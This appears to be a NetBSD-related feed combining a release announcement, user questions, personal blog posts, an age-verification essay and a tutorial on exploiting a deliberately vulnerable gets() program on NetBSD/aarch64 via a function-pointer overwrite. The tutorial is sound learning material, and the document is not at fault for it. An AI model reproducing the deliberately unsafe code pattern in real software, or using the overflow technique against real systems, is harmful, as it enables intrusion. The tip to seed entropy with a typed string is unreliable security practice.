The NetBSD project is pleased to announce the third (and probably final)
release candidate of the upcoming 11.0 release, please help testing!
See the release announcement for details.
The netbsd-11 release branch is nearly a year old now, so it is high time the 11.0 release makes it to the front stage.
Unfortunately the first release candidate had a few defects that we had to fix, including speed enhancements for the ftp(1) client when downloading large files, an updated tmux(1), reliability fixes for blocklistd(8) and fixes for the Mesa library. See the changes document for details.
Please note that various ISO images have been split into small ones for CD/R media and full featured DVD ones. If you are not restricted by the size limits of a CD/R medium, make sure to pick the image with "-dvd.iso" in the name.
If you want to test 11.0 RC3 please check the installation notes for your architecture and download the preferred install image from the CDN or if you are using an ARM based device from the netbsd-11 builds from the bootable ARM images page.
If you have any issues with installation or run into issues with the system during use, please contact us on one of the mailing lists or file a problem report.
I have noticed something, that, i generally don't care that much about, but felt the need to ask.
Im "evaluating" NetBSD for my general use... Like the release model!
This is in NO way ment to be flamatory, in Any way. If you can provide the answer, please close the discussion!
Have run FreeBSD for a couple of years. They provide Erratas/Security advisories once one is needed.
Last for NetBSD i can find is from 2024
Found this on reddit: https://www.reddit.com/r/NetBSD/comments/r0gicy/learning_about_netbsd_binary_errata_patching/
My two guesses as to how NetBSD handles these are:
1) Provided via source, so once source tree is updated, you rebuild system and it is updated...
2) If your device is internet facing, you choose to run the daemons from pkgsrc that keeps them updated...
or maby both? đ
Thanks in advance, happy easter!
The cobblerâs son walks barefoot is such a perfect English idiom to describe how professionals apply themselves in their jobs, and how this differs from their personal lives. I invoke it regularly here for this raison, a typo Iâm keeping because it makes me smile.
Lest the title of this post suggest I donât do personal backups, I do. But while Iâll suggest a comprehensive discussion with a client about what types of data they have, how regularly they change, legislative requirements, their Recovery Time and Point Objectives (RTO and RPO), and a suite of tooling to backup, monitor, report, test, and restore backups⌠my backup regime at home is just a tad bit more pedestrian.
For years my backups were on Dropbox. Dropbox used to be awesome; the desktop client was lightweight, didnât cost much, integrated with my favourite note apps on my iTelephone, and I could sync encrypted Mac OS X sparse bundles across Macs without issue. For those not versed in the intricacies of Mac volume management, sparse bundles appear as a logical disk image when mounted, but are in fact a bundle of small files beneath. In backup terminology we may say theyâre âchunkedâ. This is crucial for a tool like Dropbox, as it only uploads files upon detecting changes. An entire contiguous disk image would need to be reuploaded every time a file within it was modified, but a chunked image lets Dropbox only upload tiny portions of the image at a time.
(Iâm simplifying here, and Dropbox and their ilk may be using more sophisticated methods to diff changes and upload now. But thatâs how it worked in the past).
When I decided to start self-hosting more of my material, I went down the rabbit hole of a few different tools. As I would with a client, I sketched out my requirements:
Actually, huh, that was about it. That really didnât warrant a list, did they? Iâm not sure. This paragraph isnât turning out to be that useful either.
So I began hunting for a solution, and ended up trialling a few different self-hosted file backup options:
Nextcloud (well, Owncloud at the time). It worked, but it came with a bunch of tools I didnât need, so I couldnât justify maintaining a whole stack for it. I should revisit at some point, as my needs have definitely grown over time.
Seafile. This was a simpler remote file store and sync tool, but for reasons likely down to user error, I couldnât get it installing and working reliably. It also didnât have integrations with notes apps on the phone, which I wanted at the time.
Syncthing. This is a distributed file share tool that worked pretty well. I installed it on the FreeBSD host and had it always available, then had the clients on each laptop.
I donât know how or why, but after a while this cobbler decided that the approach he was taking didnât make a whole lot of sense. He also started talking in the third person, for some reason.
I went back to the drawing board, and realised there was several types of state my laptops carry around, all of which could be handled with more basic tooling. I perused my home directory, and noted the key folders I care about:
~/documents. This is for local copies of immediate projects Iâm working on that canât be easily version controlled, or contain large assets. For example, I live in the real world, and therefore have to put together slideshows for client meetings.
~/music. This is currently being rebuilt for FLAC! Music is an important part of my life, so I always like having a local copy of my library for listening whenever or wherever I am.
~/repos. Iâve had this in my home directory since my Subversion days. This has all the main projects I work on daily, including this blog. It also has my repos for scripts and configuration dotfiles, which over time Iâve written to be cross-platform. This means I can clone, set symbolic links for my environment, and have everything I want configured, whether it be NetBSD, Tribblix, or CP/M. Okay, Iâm not up to that last one⌠yet.
~/.ssh. This is how I auth with servers I maintain, log into my own kit remotely, and do cryptographic stuff thatâs likely ill-advised but works (hey, remember Iâm cobbler?).
These are very different types of files, and I realise donât all need the same backup approach. Documents and music can be triggered with an rsync after changes to my FreeBSD box, which sits comfortably behind the family VPN. Repositories obviously exist on Git and Subversion, which I maintain copies of on that aforementioned server. About the only one I donât have a good answer for is the ssh configuration. Donât tell anyone, but I keep a tarball of that around which I copy across.
I still donât think I have a great solution here, and Iâll likely stick with Syncthing as an automated fallback. Though maybe I should also bite the bullet and reinstall Nextcloud at some point as well. Some of my colleagues are enamoured with it, and what they show me looks cool.
By Ruben Schade in Sydney, 2026-04-05.
I have installed netbsd onto an usb drive, however wifi just doesn't work. In the installer whenever i try to configure the network it says "I can not find any network interfaces for use by NetBSD. You will be returned to the previous menu." ifconfig only shows lo0 it's probably because of realtek drivers but i hope it's possible to get wifi working on this
While working on a NetBSD system I want to make backups to a local FreeBSD ZFS pool made of 3 Seagate disks named seagates.
Zpool import seagates in NetBSD 10.1 results in:
This pool uses the following feature(s) not supported by this system:
com.klarasystems:vdev_zaps_v2
cannot import 'seagates': unsupported version or feature
No idea what that is but the NetBSD ZFS is probably older and misses this feature.. Any chance of getting safe access? Otherwise I have to reboot in FreeBSD which is kind of annoying...
Several US states, the country of Brazil, and Iâm sure other places in the world have enacted or are planning to enact laws that would place the burden of age verification of users on the shoulders of operating system makers. The legal landscape is quite fragmented at this point, and thereâs no way to tell which way these laws will go, with tons of uncertainties around to whom these laws would apply, if it targets accounts for application store access or the operating system as a whole, what constitutes an operating system in the first place, and many more. Still, these laws are already forcing major players like Apple to implement sharing self-reported age brackets with application developers (at least in iOS), so thereâs definitely something happening here.
In recent weeks, the open source world has also been confronted with the first consequences of these laws, as both systemd and xdg-desktop-portal have responded to operating system-level age verification laws in, among other places, California and Colorado, by adding birthDate to userdb (on systemdâs side) and developing an age verification portal (on xdg-desktop-portalâs side) for use by Flatpaks. The age verification portal would then use the value set in usrdbâs birthDate as its data source. The value in birthDate would only be modifiable by an administrator, but can be read by users, applications, and so on.
Crucially, this field is entirely optional, and distributions, desktop environments, and users are under zero obligation to use it or to enter a truthful value. In fact, contrary to countless news items and comments about these additions, nothing about this even remotely constitutes as âage verificationâ, as nothing â not the government, not the distribution or desktop environments, not the user â has to or even can verify anything. If these changes make it to your distribution, you donât have to suddenly show your government ID, scan your face, or link your computer to some government-run verification service, or even enter anything anywhere in the first place.
Furthermore, while the xdg-desktop-portalâs proposals are still fluid and subject to change, consensus seems to be to only share age brackets with applications, instead of full birth dates or specific ages â assuming anything has even been entered in the birthDate field in the first place. Even if your Linux distribution and/or desktop environment implements everything needed to support these changes and expose them to you in a nice user interface, everything about it is optional and under your full control. The field is of the same type as the existing fields emailAddress, realName, and location, which are similarly entirely optional and can be left empty if desired.
Taken in isolation, then, as it currently stands, thereâs really not much meat to these changes at all. The primary reason to implement these changes is to minimally comply with the new laws in California, Colorado, Brazil, and other places, and itâs understandable why the people involved would want to do so. If they do not, they could face lawsuits, fines, or worse, and I donât know about you, but I wouldnât want to be on the receiving end of the western worldâs most incompetent justice system. Aside from that, these changes make it possible to build robust parental controls, which isnât mentioned in the original commits to systemd, but is clearly the main focal point of xdg-desktop-portalâs proposal.
This all seems well and good, but given todayâs political climate in the United States, as well as the course of history, that âas it currently standsâ is doing a lot of heavy lifting. Rightfully so, a lot of people are worried about where this could lead. Sure, today these are just inconsequential, optional changes in response to what seems to be misguided legislation, but what happens once these laws are tightened, become more demanding, and start requiring a lot more than just a self-reported age bracket?
In Texas, for instance, H.B. 1131 requires any commercial entity, including websites, that contains more than one-third âsexual material harmful to minorsâ to implement age verification tools using things like government-issued IDs or bank transaction data to verify visitorsâ ages before allowing them in. The UK has a similar law on the books, too. Itâs not difficult to imagine how some other law will eventually shift this much stricter, actual age verification from websites and applications into operating systems instead. What will systemdâs and xdg-desktop-portalâs developers do, then? Will they comply as readily then as they do now?
This is a genuine worry, especially if you already belong to a group targeted by the current US administration, or were face-scanned by ICE at a protest. Large groups of especially religious extremists consider anything thatâs LGBTQ+ to be âsexual material harmful to minorsâ, even if itâs just something normal like a gay character in a TV show. Itâs not hard to imagine how age verification laws, especially if they force age verification at the operating system level, can become weaponised to target the LGBTQ+ community, other minorities, and people protesting the Trump regime.
You may think this wonât affect you, since youâre using an open source operating system like desktop Linux or one of the BSDs, and surely they are principled enough to ignore such dangerous laws and simply not comply at all, right? Sadly, hereâs where the idealism and principles of the open source world are going to meet the harsh boot of reality; while open source software has a picturesque image of talented youngsters hacking away in their bedrooms, the reality is that most of the popular open source operating systems are actually hugely complex operations that require a ton of funding, and that funding is often managed by foundations. And guess where most popular Linux distributionsâ and BSD variantsâ foundations are located?
Developers from all over the world may contribute to Debian, but all of its financials and trademarks are managed by Software in the Public Interest, domiciled in New York State. Fedora is part of Red Hat, owned by IBM, and we all know IBM. Arch Linuxâ donations are also managed by Software in the Public Interest. The Gentoo Foundation is domiciled in New Mexico. The FreeBSD Foundation is domiciled in Boulder, Colorado. The NetBSD Foundation is domiciled in Delaware. Ubuntu is a Canonical product, a company headquartered in London, UK, a country with strict age verification laws for websites and applications. Hell, even Haiku, Inc. is domiciled in New York State. I could go on, but you get the gist: all of these projects manage their donations, financials, trademarks, and related issues in the United States (or the UK for Ubuntu).
Itâs relatively easy for these projects to take a principled stance against the relatively limited age verification laws that exist today, but what about if and when these laws are expanded to infiltrate the very operating systems we use? Itâs easy to resist the boot when itâs pressing down on some porn website or a sex workerâs OnlyFans page, but once that same boot is pressing down on your own throat? Thatâs a whole different story. Will Debian, FreeBSD, or Fedora still stand their ground when the organisations managing their donations, finances, and trademarks become the target of lawsuits or the US justice system, because they refuse to implement age verification?
I sincerely doubt it.
And this is why I am of two minds about this issue. On the one hand, I fully understand that the various developers involved with these efforts want to make sure they follow the law and avoid getting fined â or worse â especially since compliance requires so little at this time. On top of that, these changes make it possible to implement a fairly robust set of parental controls in a centralised way, keeping the data involved where it makes sense, so it also brings a number of benefits for users. There really isnât anything to worry about when looking at these changes in isolation.
On the other hand, though, I also understand the fears and worries from people who see these changes as the first capitulation to age verification, nicely making the bed for much stricter age verification laws Iâm sure certain parts of the political compass are already dreaming about. With so many Linux distributions, BSD variants, and even alternative operating systems having their legal domiciles in the United States, itâs not unreasonable to assume theyâre going to fold under any possible legal pressure that comes with such laws.
Iâm not rushing to replace my Fedora KDE installations with something else at this point, but Iâm definitely going to explore my options on at least one of my machines and go from there, so I at least wonât be caught with my pants down in the future. The world isnât ending, age verification hasnât come to Linux, but weâd all do well to remain skeptical and prepare for when it does make its way into our open source operating systems.
only errors showing up during the linking of the kernel.
Clara and I are thinking of getting a Raspberry Pi 400 (or 500?) as a lounge computer. Currently we use an Apple TV and a PlayStation 3 [sic] as our media playback devices, but the app(lication) selection is beginning to limit what we can do with them. For example, we also want to move off Plex, and the options for Jellyfin arenât great.
The rational thing would be buy to buy a mini PC of some sort, connect it to the TV, then use a wireless keyboard/trackpad combo to control it. But then, when I have ever taken the rational or sensible approach to anything? And perhaps even more importantly, where is the fun in that?
This need reminded me of the Raspberry Pi 400, the device by the eponymous company that integrates a souped-up Pi motherboard into a keyboard device. A Pi 400 in such an arrangement would let us keep the âlounge PCâ on the coffee table, and run a glorified web browser with everything from Jellyfin and Navidrome, to Internet radio. Heck, in a pinch it could even run some classic DOS games.
Granted, itâd need at least an HDMI cable and power lead from the device to the TV, but then we do the same thing for our beloved Commodore machines anyway. Thereâs a part of me that relishes the idea of having the same experience for our media.

At least, thatâs where we were a week ago. Since then, I was reminded about the Orange Pi family of devices, and the Orange Pi 800 that bears⌠shall we say, an uncanny resemblance to the aforementioned raspberry-flavoured unit. Of note for me is its inclusion of a 128 GiB eMMC storage device, which would certainly be more robust.

I suppose the challenge with these ânot Pisâ is support. Raspberry Pis are ubiquitous, and barring universal distributions like Armbian, have far more support among OS vendors and projects. Could I run NetBSD on an Orange Pi 800? I mean, maybe. But I know I would on a Pi 400.
Anyway, another shaggy-dog post for your Sunday!
By Ruben Schade in Sydney, 2026-03-22.
People like unboxing posts and videos, right? I reckon itâll also be a fun distraction from the horrendous pain Iâm in for a medical misadventure thatâs been ongoing for weeks at this point (Iâll be fine thank you, but if you canât vent on your own blog, where can you?).
My new machine just arrived today, and hereâs the box in all its cardboard glory, alongside my two current personal laptops. Reassuringly, we have a lithium battery warning, so Iâll be able to use this laptop without having it plugged in. Did I tell you Iâm in pain, so you have to pretend my jokes are funny?

I kid, but this is exciting. Itâs like a watch fan getting a new timepiece, or someone interested in shoes buying⌠shoes? For all the cynicism that has seeped into the blog of late, I still do love researching and using computers. Theyâre fun! Itâs easy for work to justify regular fleet refreshes, but I tend to stick with the same personal laptops for half a decade or more. If the shoes fitsâŚ, as the aforementioned shoe fan would say. Wow, my thesaurus is failing me today.
I wrote about buying this machine in late February. This is to replace my M1 MacBook Air, and my various second-hand ThinkPads as my primary personal laptop. This will likely run Fedora, for the reasons I used Macs for more than two decades (aka, software support for what I need), and FreeBSD-CURRENT so I can hopefully start contributing to the project in a more meaningful way. Ditto NetBSD as well eventually.
Cutting through the surprisingly small Think Sustainable tape, the first internal flap opens up to this ThinkPad logo that would have been hidden before. Thatâs a cute touch.

Speaking of cute touches, the first compartment I lifted out had the 65 W power brick, which thankfully is USB C. Itâs quite small, was wrapped in paper for some reason, and comes with an Australian power lead.

And now for the main event! As I said above, this is all new for me; Iâve had half a dozen ThinkPads over the years, but theyâve only ever been second hand. Iâve absolutely loved them, and even enjoy typing on the âisland keyâ keyboards more than any other modern laptop. MacBooks have beaten them in the display department since forever, but with the 2.8K IPS on this one, Iâm hoping Iâll finally have a FreeBSD/Linux notebook with an amazing keyboard, nice display, and the software I love using, all in the one machine.
I was surprised lifting this out to see a thin cotton bag, and a more chipper message than I would have expected from a business brand like this.

Pulling out the new machine and opening it up also showed some more of this cotton-like packing material, this time with some first time use instructions. If youâre going to be protecting the screen in transit, may as well use the paper for something useful.

And here she is, the ThinkPad E14 Gen 7 alongside my retiring M1 MacBook Air. After twenty five years of using iBooks and MacBooks, and thirty years of using Macs at home, this is the last one. Bye Tim.

I have to say, for all the thoughts ThinkPad fans have about the E series machines, Iâm extremely impressed with how this one is put together. It doesnât feel cheap or nasty at all; itâs in another league compared to the craptops our local electronics store has. The keyboard is shallower than my X230, but still feels amazing. And look at that matte display! No more headache-inducing reflections! And a TrackPoint! I never thought Iâd have the worldâs best pointing device on my primary machine.
The next step will be to wipe whatever unserious OS it currently has, and put the aforementioned FreeBSD and Fedora on it. Iâm also undecided whether to have the hostname be hitagi.lan from the Monogatari universe, which for some reason I always give my current ThinkPad, or to retire the anime names for a classic Star Trek ship again. I donât know, Iâm getting serious excelsior.lan vibes from this machine. Oh my.
Thatâs it for this unboxing. Join me in another five to seven years here when I get my next personal laptop⌠maybe!
By Ruben Schade in Sydney, 2026-03-17.
running off a Pentium 1 MMX, painfully slow :)
I had insomnia last night, and thought itâd be fun to compile this list. Thank you.
I will expand on my inclusion of Wine at some point, because itâs found surprising utility in a few places.
By Ruben Schade in Sydney, 2026-03-13.
Back in January I introduced my LLM Licence. For the cost of a donation to one of a few different technical foundations in which I harbour a keen interest and admiration, the licence would grant you permission to use an LLM trained on my works for a query.
It was tongue-in-cheek, but it did generate a surprising amount of feedback. This was among the most common responses:
How would you enforce it?
Itâs a fascinating question; not for what itâs asking per se, but what it reveals about how we approach everything in this brave new world. The tl;dr is: itâs an honour system built on trust. And it should sound familiar.
âď¸ âď¸ âď¸
I donât want to get into a debate over the merits of permissive, copyleft, and commercial software licences here, not least because Iâll have my head chewed off, and Iâm rather attached to it. Haiyo.
But licences dictate the terms under which you can purchase, distribute, and/or modify the software, and how to acknowledge and grant sufficient credit to the source. Unless a program and its source have been released into the public domain (which may not always be feasible or possible depending on the jurisdiction), it almost certainly has a licence attached.
Commercial software often requires digital restrictions management (DRM), âactivationâ, serial numbers, licencing servers, indentured servitude, and other infrastructure to register, maintain, and enforce licencing terms. Ask me how I know! Even some freeware still requires this, because while they may not cost any money to buy, the owners of software prefer to be like those people crowding around the mustard dispenser at IKEA and keep the source to themselves. I joke, but people have every right to release their own creative works as they see fit.
Open software, by comparison, rarely has such distribution enforcement. Some hat-based software houses may inject their own trademarks or copyright in other ways to limit wholesale distribution, but otherwise most such software comes with the source, and perhaps even some pre-compiled binaries for our joy and convenience. Itâs up to you to be responsible and to enact whatâs required in exchange for the goods.
Taking responsibility⌠wait, what!?
This is a critical difference to understand. There is no licencing server phoning home to make sure my use of NetBSD is compliant with the 2-clause BSD licence. Alpine Linux doesnât require me to install Client Access Licences for every SSH connection to my Xen host. At least, I hope not. And when even the whiff of passive telemetry is introduced into an open source package, let alone an overt rug pull, it causes such an uproar as to result in a hard fork.
âď¸ âď¸ âď¸
This is what makes the discussion around liability language models (LLMs) contributions to open software so surreal. Having spent decades teaching the industry about how permissive and copyleft licencing works, everyone seemingly forgot as soon as their stochastic parrots enter the picture. Maybe they used a chatbot to do their assignments.
The reason this is coming up now is due to more projects restricting or banning LLM-derived contributions. If they deem slop doesnât meet their quality, authenticity, or licencing requirements, or they introduce legal liability, or they increase the workload for already tired reviewers, project maintainers have every right to deny such code. If you donât like it, fork it.
(As an aside, they should absolutely do that! A forked project with LLM or âvibedâ contributions that overtakes the original in performance, features, and security would surely present quantitative, irrefutable validation of the hype).
But this leads to that question people asked me at the start:
How would you enforce it?
The same way every other requirement is enforced: with a social contract. Projects have terms and policies in place under which theyâll accept contributions. LLM restrictions are another of these, with the same âenforcementâ mechanism.
Thatâs it. Thereâs no silver bullet here. You can hoard changes to your GPLâd code and not submit them upstream. You can lift and submit code from somewhere youâre not allowed. You can also contribute slop that youâve attempted to pass off as your own. I donât know how else to say this, but maliciously working around contribution requirements is on you. I almost wrote that as ewe for some reason, so have this emoji of a sheep. đ
Licences are, sadly, only worth the amount people are willing to enforce them. But broadly speaking, thatâs how open source software communities work. Thereâs a degree of trust that youâll take responsibility and do the right thing. I know right, what a concept!
By Ruben Schade in Sydney, 2026-03-12.
For some time, I have ventured into low(er)level hacking & cybersecurity at OverTheWire and pwn.college. Today, a LOT of security & hacking is focussed on Linux/x86, but we all know there is more. More operating systems, and more CPUs. In the area of binary exploitation, I wondered if the basic tools for that work on NetBSD/aarch64 (ARM), and I had a look. Spoiler: they do!
Here's an example of pwning on NetBSD/aarch64 (ARM).
Step 0: Install NetBSD/aarch64, e.g. in qemu.
Setup the basics:
su root -c pkg_add -v https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/11.0_2025Q4/All/pkgin-25.10.0.tgz su root -c "pkgin install sudo" sudo pkgin install bash
Install pwntools & friends:
sudo pkgin install python311 # not newer... pwntools... sudo pkgin install rust sudo pkgin install cmake pkg-config openssl sudo pkgin install gmake sudo pkgin install vim # for xxd, not the shoddy editor that comes with it
When going for pwntools & friends, python 3.11 is the version of choice - newer versions of python are not supported there:
python3.11 -m venv venv-pwn . ./venv-pwn/bin/activate pip install "capstone<6" pwntools # same as on macos with angr
Install gef in its usual place, just in case:
sudo mkdir -p /opt/gef sudo wget https://github.com/hugsy/gef/raw/main/gef.py -O /opt/gef/gef.py
gdb - better colors etc. via .gdbinit (default gdb really looks bad on black terminals):
(venv-pwn) qnetbsd$ cat ~/.gdbinit #set disassembly-flavor intel # disable on ARM :-) set follow-fork-mode child set style address foreground cyan set style function foreground cyan set style disassembler immediate foreground cyan
First pwn attempt:
#include <stdio.h>
#include <stdlib.h>
void win(void)
{
printf("Goodbye, winner.\n");
exit(0);
}
void vuln(void)
{
char name[16];
printf("What is your name? ");
gets(name);
printf("Hello %s\n", name);
return;
}
int main(void)
{
vuln();
return 0;
}
Due to differences between x86 and ARM, a simple buffer overflow to overwrite e.g. the return address cannot be done. On ARM, the return address of a function is not stored on the stack but in the X30 register. The crash observed when running this is due to random other values being overwritten.
Let's build and see the security parameters:(venv-pwn) qemubsd$ gcc -ggdb win1.c -o win1
ld: /tmp//ccdWZtt2.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x34): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1'
Arch: aarch64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x200100000)
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
Not that many security features on by default. What's going on, NetBSD?! Ignoring this for now, let's look at the assembly code:
(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win1 Reading symbols from win1... Dump of assembler code for function vuln: 0x00000002001009f4 <+0>: stp x29, x30, [sp, #-32]! 0x00000002001009f8 <+4>: mov x29, sp 0x00000002001009fc <+8>: adrp x0, 0x200100000 0x0000000200100a00 <+12>: add x0, x0, #0xaf8 0x0000000200100a04 <+16>: bl 0x200100730 <printf@plt> 0x0000000200100a08 <+20>: add x0, sp, #0x10 0x0000000200100a0c <+24>: bl 0x200100790 <gets@plt> 0x0000000200100a10 <+28>: add x0, sp, #0x10 0x0000000200100a14 <+32>: mov x1, x0 0x0000000200100a18 <+36>: adrp x0, 0x200100000 0x0000000200100a1c <+40>: add x0, x0, #0xb10 0x0000000200100a20 <+44>: bl 0x200100730 <printf@plt> 0x0000000200100a24 <+48>: nop 0x0000000200100a28 <+52>: ldp x29, x30, [sp], #32 0x0000000200100a2c <+56>: ret End of assembler dump. (gdb)
Note the STP and LDP instructions which save and restore the X29 (frame pointer) and X30 (return address) registers of the calling function (main). By overwriting them, main's "RET" will do funny things. While this can still be exploited, let's make things a bit easier in the next attempt.
Here we add a function pointer "goodbye" that can be overwritten:
#include <stdio.h>
#include <stdlib.h>
void lose(void)
{
printf("Goodbye, loser.\n");
exit(0);
}
void win(void)
{
printf("Goodbye, winner.\n");
exit(0);
}
void vuln(void)
{
void (*goodbye)(void) = lose;
char name[16];
printf("What is your name? ");
gets(name);
printf("Hello %s\n", name);
goodbye();
return;
}
int main(void)
{
vuln();
return 0;
}
It's pretty obvious what's happening, but for the sake of completeness:
(venv-pwn) qnetbsd$ echo huhu | ./win2 What is your name? Hello huhu Goodbye, loser.
Let's look at the assembly output again:
(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win2 Reading symbols from win2... Dump of assembler code for function vuln: 0x0000000200100a10 <+0>: stp x29, x30, [sp, #-48]! 0x0000000200100a14 <+4>: mov x29, sp 0x0000000200100a18 <+8>: adrp x0, 0x200100000 0x0000000200100a1c <+12>: add x0, x0, #0x9d8 0x0000000200100a20 <+16>: str x0, [sp, #40] 0x0000000200100a24 <+20>: adrp x0, 0x200100000 0x0000000200100a28 <+24>: add x0, x0, #0xb38 0x0000000200100a2c <+28>: bl 0x200100730 <printf@plt> 0x0000000200100a30 <+32>: add x0, sp, #0x18 0x0000000200100a34 <+36>: bl 0x200100790 <gets@plt> 0x0000000200100a38 <+40>: add x0, sp, #0x18 0x0000000200100a3c <+44>: mov x1, x0 0x0000000200100a40 <+48>: adrp x0, 0x200100000 0x0000000200100a44 <+52>: add x0, x0, #0xb50 0x0000000200100a48 <+56>: bl 0x200100730 <printf@plt> => 0x0000000200100a4c <+60>: ldr x0, [sp, #40] <=== => 0x0000000200100a50 <+64>: blr x0 <=== 0x0000000200100a54 <+68>: nop 0x0000000200100a58 <+72>: ldp x29, x30, [sp], #48 0x0000000200100a5c <+76>: ret End of assembler dump. (gdb)
Note the LDR and BLR instructions at 0x0000000200100a4c - The X0 register is loaded with our function pointer by LDR, and BLR does the actual call.
By overwriting the pointer, we can call another function. Let's use pwn cyclic to find out what's actually in x0 at the time of the BLR call:
(venv-pwn) qnetbsd$ pwn cyclic 100 >c
(venv-pwn) qnetbsd$ gdb -q -ex 'set pagination off' -ex 'b *0x0000000200100a50' -ex 'run <c' -ex 'i r x0' win
Reading symbols from win...
Breakpoint 1 at 0x200100a50: file win.c, line 25.
Starting program: /home/feyrer/tmp/win <c
What is your name? Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Breakpoint 1, 0x0000000200100a50 in vuln () at win.c:25
25 goodbye();
x0 0x6161616661616165 7016996786768273765
(gdb) ! pwn cyclic -l 0x6161616661616165
16
(gdb) print win
$1 = {void (void)} 0x2001009f4 <win>
The function pointer is 16 bytes from the start of our name buffer, and we have the address of the win function. So let's construct our input:
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | xxd 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: f409 1000 0200 0000 ........
Looks good, so call it:
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2 What is your name? Hello AAAAAAAAAAAAAAAA Goodbye, winner. (venv-pwn) qnetbsd$ uname -a NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm
Voila, ARM pwnage on NetBSD! :-)
Summary:(venv-pwn) qnetbsd$ echo huhu | ./win2 What is your name? Hello huhu Goodbye, loser. (venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2 What is your name? Hello AAAAAAAAAAAAAAAAďż˝ Goodbye, winner. (venv-pwn) qnetbsd$ uname -a NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm
I'm positively impressed by the whole toolchain working as expected, given that e.g. pwntools starts compiling rust when installing. Well done, NetBSD!
(venv-pwn) qemubsd$ gcc -ggdb -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now win1.c -o win1-prot
ld: /tmp//ccE3ncle.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x64): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1-prot
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1-prot'
Arch: aarch64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
Exploiting this binary is left as an exercise to the reader.Download:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/gzimg/arm64.img.gz
Convert img to VDI:
qemu-img convert -f raw -O vdi arm64.img arm64.vdi
Setup VirtualBox VM with .vdi file as existing harddisk.
Result: VirtualBox (not the VM!) crashed. Oh well.
After VirtualBox didn't work, I wanted to see if qemu (running on MacOS) works. Spoiler: it does, and here are the steps to get things going:
First, grab the kernel:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/kernel/netbsd-GENERIC64.img.gz
...and gunzip. Make sure kernel and userland versions match!
Run in QEMU:
qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 \ -m 4g -drive if=none,format=raw,file=arm64.img,id=hd0 \ -device virtio-blk-device,drive=hd0 -netdev user,id=net0 \ -device virtio-net-device,netdev=net0 -kernel netbsd-GENERIC64.img \ -append root=dk1 -nographic
How to leave QEMU: Ctrl-A X
Troubleshooting: Make sure kernel and userland match - else random segfaults will happen.
Quite a few settings are already OK (sshd, dhcpcd, ntp),
which is not the default I remember from a few years ago, but
that's nice and convenient. I still wanted to see what config
settings are new, and here are my additions to /etc/rc.conf:
hostname="qnetbsd" rndctl=yes certctl_init=yes ip6mode=autohost ntpdate=NO
On first login you will see an unsafe keys warning:
-- UNSAFE KEYS WARNING:
The ssh host keys on this machine have been generated with
not enough entropy configured, so they may be predictable.
To fix, follow the "Adding entropy" section in the entropy(7)
man page. After this machine has enough entropy, re-generate
the ssh host keys by running:
/etc/rc.d/sshd keyregen
Fix by feeding entropy, then reboot:
echo lkajsdflkjasdflkjasdlkfjoiasjdfiojasdkf >/dev/random shutdown -r now
Note: Use shutdown(8), not reboot(8) or poweroff(8) - only shutdown runs the hooks that save entropy.
After reboot, regenerate SSH keys:
/etc/rc.d/sshd keyregen
neuland% qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 -m 4g \ -drive if=none,format=raw,file=arm64.img,id=hd0 \ -device virtio-blk-device,drive=hd0 \ -netdev user,id=net0 -device virtio-net-device,netdev=net0 \ -kernel netbsd-GENERIC64.img -append root=dk1 -nographic [ 1.0000000] NetBSD/evbarm (fdt) booting ... [ 1.0000000] NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 ... NetBSD/evbarm (qnetbsd) (constty) login: root NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 Welcome to NetBSD! qnetbsd# uname -a NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm
Not providing a working VirtualBox image in 2026 is painful for new users. As Kali Linux works fine in VirtualBox on the same hardware, I'd say there is some way to go, NetBSD!
The manual setup works, but needs some tweaks beyond the expected (/etc/rc.conf), exp. manual entropy setup was surprising as
network and disk were working ok. I did expect those to be used as
sources of randomness before the first SSH keys are generated.
We'll see where things go from there. For now I can (at least for QEMU on my Mac) say: Of course it runs NetBSD! :-)
